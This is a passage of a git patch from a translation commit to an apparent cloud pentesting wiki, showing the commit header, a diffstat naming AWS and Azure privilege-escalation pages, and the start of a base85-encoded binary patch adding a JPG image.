From 5bb58d1316f5abeca7925d62a410277640ffa001 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 17 Mar 2025 03:51:52 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA --- src/images/vm_to_aa.jpg | Bin 0 -> 145335 bytes .../aws-basic-information/README.md | 147 ++++++++++-------- .../az-automation-accounts-privesc.md | 47 +++--- 3 files changed, 111 insertions(+), 83 deletions(-) create mode 100644 src/images/vm_to_aa.jpg diff --git a/src/images/vm_to_aa.jpg b/src/images/vm_to_aa.jpg new file mode 100644 index 0000000000000000000000000000000000000000..30893dfd5d1f5bb5087d12c8d5883106540c6e60 GIT binary patch literal 145335 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 